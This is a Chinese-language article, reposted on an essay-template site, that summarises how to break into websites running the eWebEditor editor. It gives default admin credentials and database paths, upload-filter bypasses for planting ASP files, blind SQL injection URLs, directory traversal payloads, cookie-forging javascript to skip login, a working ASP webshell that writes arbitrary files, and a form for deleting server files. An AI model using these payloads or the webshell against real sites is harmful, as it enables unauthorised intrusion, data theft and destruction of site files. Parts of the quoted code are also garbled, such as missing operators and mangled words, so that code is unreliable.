人人范文网 范文大全

ewebeditor漏洞利用总结

发布时间:2020-03-03 01:48:55 来源:范文大全 收藏本文 下载本文 手机版

ewebeditor漏洞利用总结

先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:

1、首先访问默认管理页看是否存在。

默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)

2、默认管理帐号密码!

默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。

3、默认数据库地址。

如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_Userpa 都是md5加密的。得到了加密密码。可以去www.daodoc.com 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑!

默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等

很多管理员常改.asp后缀,一般访问.asp .asa 后缀的 都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!

4、说说漏洞基本利用步骤,还以asp为例!

登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是我们可以用.asaspp 后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。添加完了后缀,可以在样式管理,点击预览,然后上传!

5、默认管理页不存在!

在实际入侵过程中,有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!具体url如下: eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!

6、ewebeditor的几个版本存在注入!

ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !

添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!

ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!

-----------------

ewebeditor asp版 2.1.6 上传漏洞利用程序----

-----------------

以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入\"|cer\"、\"|asa\"等!

另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:

ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1\'and%20(select%20top%201%20asc(mid(sys_userpa,15,1))%20from%20ewebeditor_system%20)>98%20and%20\'1\'=\'1

注意修改红色部分的字段名、位数、ascii码的值!

7、目录遍历漏洞!

这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!

漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..

类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!

另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp

漏洞代码为 :

Function GetList()

Dim s_List, s_Url

s_List = \"\"

Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName

\'Response.Write sCurrDir

\'On Error Resume Next

Set oFSO = Server.CreateObject(\"Scripting.FileSystemObject\")

Set oUploadFolder = oFSO.GetFolder(Server.Mappath(sCurrDir))

\'注意一下sCurrDir变量,这个值等下我们可以用到

If Err.Number>0 Then

s_List = \"\"

Exit Function

End If

If sDir \"\" Then

If InstrRev(sDir, \"/\") > 1 Then

s_Url= Left(sDir, InstrRev(sDir, \"/\") - 1)

Else

s_Url = \"\"

End If

s_List = s_List & \"\" & _

\"\" & _

\"..\" & _

\" \" & _

\"\"

End If

\'Response.Write sDir&\"!\"&s_List

Dim oSubFolder

For Each oSubFolder In oUploadFolder.SubFolders

\'Response.Write oUploadFolder.SubFolders

If sDir = \"\" Then

s_Url = oSubFolder.Name

Else

s_Url = sDir & \"/\" & oSubFolder.Name

End If

s_List = s_List & \"\" & _

\"\" & _

\"\" & oSubFolder.Name & \"\" & _

\" \" & _

\"\"

Next

\'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles

\'Response.Write oUploadFile.Name

sFileName = oUploadFile.Name

If CheckValidExt(sFileName) = True Then

\'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了

If sDir = \"\" Then

s_Url = sContentpath & sFileName

Else

s_Url = sContentpath & sDir & \"/\" & sFileName

End If

s_List = s_List & \"\" & _

\"\" & FileName2pic(sFileName) & \"\" & _

\"\" & sFileName & \"\" & _

\"\" & GetSizeUnit(oUploadFile.size) & \"\" & _

\"\"

End If

Next

Set oUploadFolder = Nothing

Set oUploadFiles = Nothing

\'Response.Write Server.HTMLEncode(s_List)&\"!\"&s_Url

If sDir = \"\" Then

s_Url = \"\"

\'s_Url = \"/\"

Else

s_Url = \"/\" & sDir & \"\"

\'s_Url = \"/\" & sDir & \"/\"

End If

s_List = s_List & \"\"

s_List = HTML2JS(s_List)

\'Response.Write Server.HTMLEncode(s_List)&\"!\"&s_Url

s_List = \"parent.setDirList(\"\"\" & s_List & \"\"\", \"\"\" & s_Url & \"\"\")\"

GetList = s_List

End Function

\'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名

Function CheckValidExt(s_FileName)

If sAllowExt = \"\" Then

CheckValidExt = True

Exit Function

End If

Dim i, aExt, sExt

sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, \".\") + 1))

CheckValidExt = False

aExt = Split(LCase(sAllowExt), \"|\")

For i = 0 To UBound(aExt)

If aExt(i) = sExt Then

CheckValidExt = True

Exit Function

End If

Next

End Function

\'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的

Sub Initparam()

sType = UCase(Trim(Request.QueryString(\"type\")))

sStyleName = Trim(Request.QueryString(\"style\"))

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i), \"|||\")

If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

Next

If bValidStyle = False Then

OutScript(\"alert(\'Invalid Style.\')\")

End If

sBaseUrl = aStyleConfig(19)

\'nAllowBrowse = CLng(aStyleConfig(43))

nAllowBrowse =

1If nAllowBrowse 1 Then

OutScript(\"alert(\'Do not allow browse!\')\")

End If

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1) \"/\" Then

Select Case sType

Case \"REMOTE\"

sUploadDir = \"../../\" & sUploadDir & \"Image/\"

Case \"FILE\"

sUploadDir = \"../../\" & sUploadDir & \"Other/\"

Case \"MEDIA\"

sUploadDir = \"../../\" & sUploadDir & \"Media/\"

Case \"FLASH\"

sUploadDir = \"../../\" & sUploadDir & \"Flash/\"

Case Else

sUploadDir = \"../../\" & sUploadDir & \"Image/\"

End Select

End If

\'sUploadDir =sUploadDir &\"/\"

Select Case sBaseUrl

Case \"0\"

\'sContentpath = aStyleConfig(23)

Select Case sType

Case \"REMOTE\"

sContentpath = \"../\" & aStyleConfig(3) & \"Image/\"

Case \"FILE\"

sContentpath = \"../\" & aStyleConfig(3) & \"Other/\"

Case \"MEDIA\"

sContentpath = \"../\" & aStyleConfig(3) & \"Media/\"

Case \"FLASH\"

sContentpath = \"../\" & aStyleConfig(3) & \"Flash/\"

Case Else

sContentpath = \"../\" & aStyleConfig(3) & \"Image/\"

End Select

Case \"1\"

sContentpath = Relativepath2Rootpath(sUploadDir)

Case \"2\"

sContentpath = Rootpath2Domainpath(Relativepath2Rootpath(sUploadDir))

End Select

Select Case sType

Case \"REMOTE\"

sAllowExt = aStyleConfig(10)

Case \"FILE\"

sAllowExt = aStyleConfig(6)

Case \"MEDIA\"

sAllowExt = aStyleConfig(9)

Case \"FLASH\"

sAllowExt = aStyleConfig(7)

Case Else

sAllowExt = aStyleConfig(8)

End Select

sCurrDir = sUploadDir \'注意这里,这个是得到了配置的路径地址

sDir = Trim(Request(\"dir\")) \'得到dir变量

sDir = Replace(sDir, \"\\\", \"/\") \'对dir变量进行过滤

sDir = Replace(sDir, \"../\", \"\")

sDir = Replace(sDir, \"./\", \"\")

If sDir \"\" Then

If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then

sCurrDir = sUploadDir & sDir & \"/\"

\'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

\'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出

Else

sDir = \"\"

End If

End If

End Sub

利用方式如下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!

8、seion欺骗漏洞!

适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:

新建一个.asp文件,内容如下: <%Seion(\"eWebEditor_User\") = \"123132323\"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!

9、后台跳过认证漏洞!

访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入

javascript:alert(document.cookie=\"adminuser=\"+escape(\"admin\"));

javascript:alert(document.cookie=\"adminpa=\"+escape(\"admin\"));

javascript:alert(document.cookie=\"admindj=\"+escape(\"1\"));

然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!

10、利用远程上传功能!

比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!

利用代码如下:

首先建立1.gif.asp 代码如下

<%

Set fs = CreateObject(\"Scripting.FileSystemObject\")

Set MyTextStream=fs.OpenTextFile(server.Mappath(\"\\akteam.asp\"),1,false,0)

Thetext=MyTextStream.ReadAll

response.write thetext

%>

在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:

<%on error resume next%>

<%ofso=\"scripting.filesystemobject\"%>

<%set fso=server.createobject(ofso)%>

<%path=request(\"path\")%>

<%if path\"\" then%>

<%data=request(\"dama\")%>

<%set dama=fso.createtextfile(path,true)%>

<%dama.write data%>

<%if err=0 then%>

<%=\"succe\"%>

<%else%>

<%=\"false\"%>

<%end if%>

<%err.clear%>

<%end if%>

<%dama.close%>

<%set dama=nothing%>

<%set fos=nothing%>

<%=\"\"%>

<%=\"\"%>

<%=\"\"%>

<%=server.mappath(request.servervariables(\"script_name\"))%>

<%=\"\"%>

<%=\"\"%>

<%=\"\"%>

<%=\"\"%>

<%=\"\"%>

<%=\"\"%>

利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!

11、任意文件删除漏洞!

此漏洞存在于Example\\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码

\' 把带\"|\"的字符串转为数组

Dim aSavepathFileName

aSavepathFileName = Split(sSavepathFileName, \"|\")

\' 删除新闻相关的文件,从文件夹中

Dim i

For i = 0 To UBound(aSavepathFileName)

\' 按路径文件名删除文件

Call DoDelFile(aSavepathFileName(i))

Next

而aSavepathFileName是前面从数据库取出来的:

sSavepathFileName = oRs(\"D_SavepathFileName\")

看看D_SavepathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavepathFileName = GetSafeStr(Request.Form(\"d_savepathfilename\"))

...oRs(\"D_SavepathFileName\") = sSavepathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

Function GetSafeStr(str)

GetSafeStr = Replace(Replace(Replace(Trim(str), \"\'\", \"\"), Chr(34), \"\"), \";\", \"\")

End Function

既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:

eWebEditor删除文件 byldjun(>

新闻列表%20|%20增加新闻

增加新闻

http://127.0.0.1/editor/Example/NewsSystem/addsave.asp\"

method=\"post\" name=\"myform\">

要删的文件(相对路径就可以了):

新闻标题(随便填):

标题图片:

当编辑区有插入图片时,将自动填充此下拉框

新闻内容(随便填):

Fckeditor漏洞利用总结

漏洞现代诗歌

javaWeb安全验证漏洞修复总结

工作上的漏洞

内控漏洞案例

资源利用总结

开展“查管理,堵漏洞”活动总结

杭州酒店财务管理漏洞

KTV常见的漏洞

KTV前台收银漏洞

ewebeditor漏洞利用总结
《ewebeditor漏洞利用总结.doc》
将本文的Word文档下载到电脑,方便编辑。
推荐度:
点击下载文档
相关专题 ewebeditor漏洞 漏洞
点击下载本文文档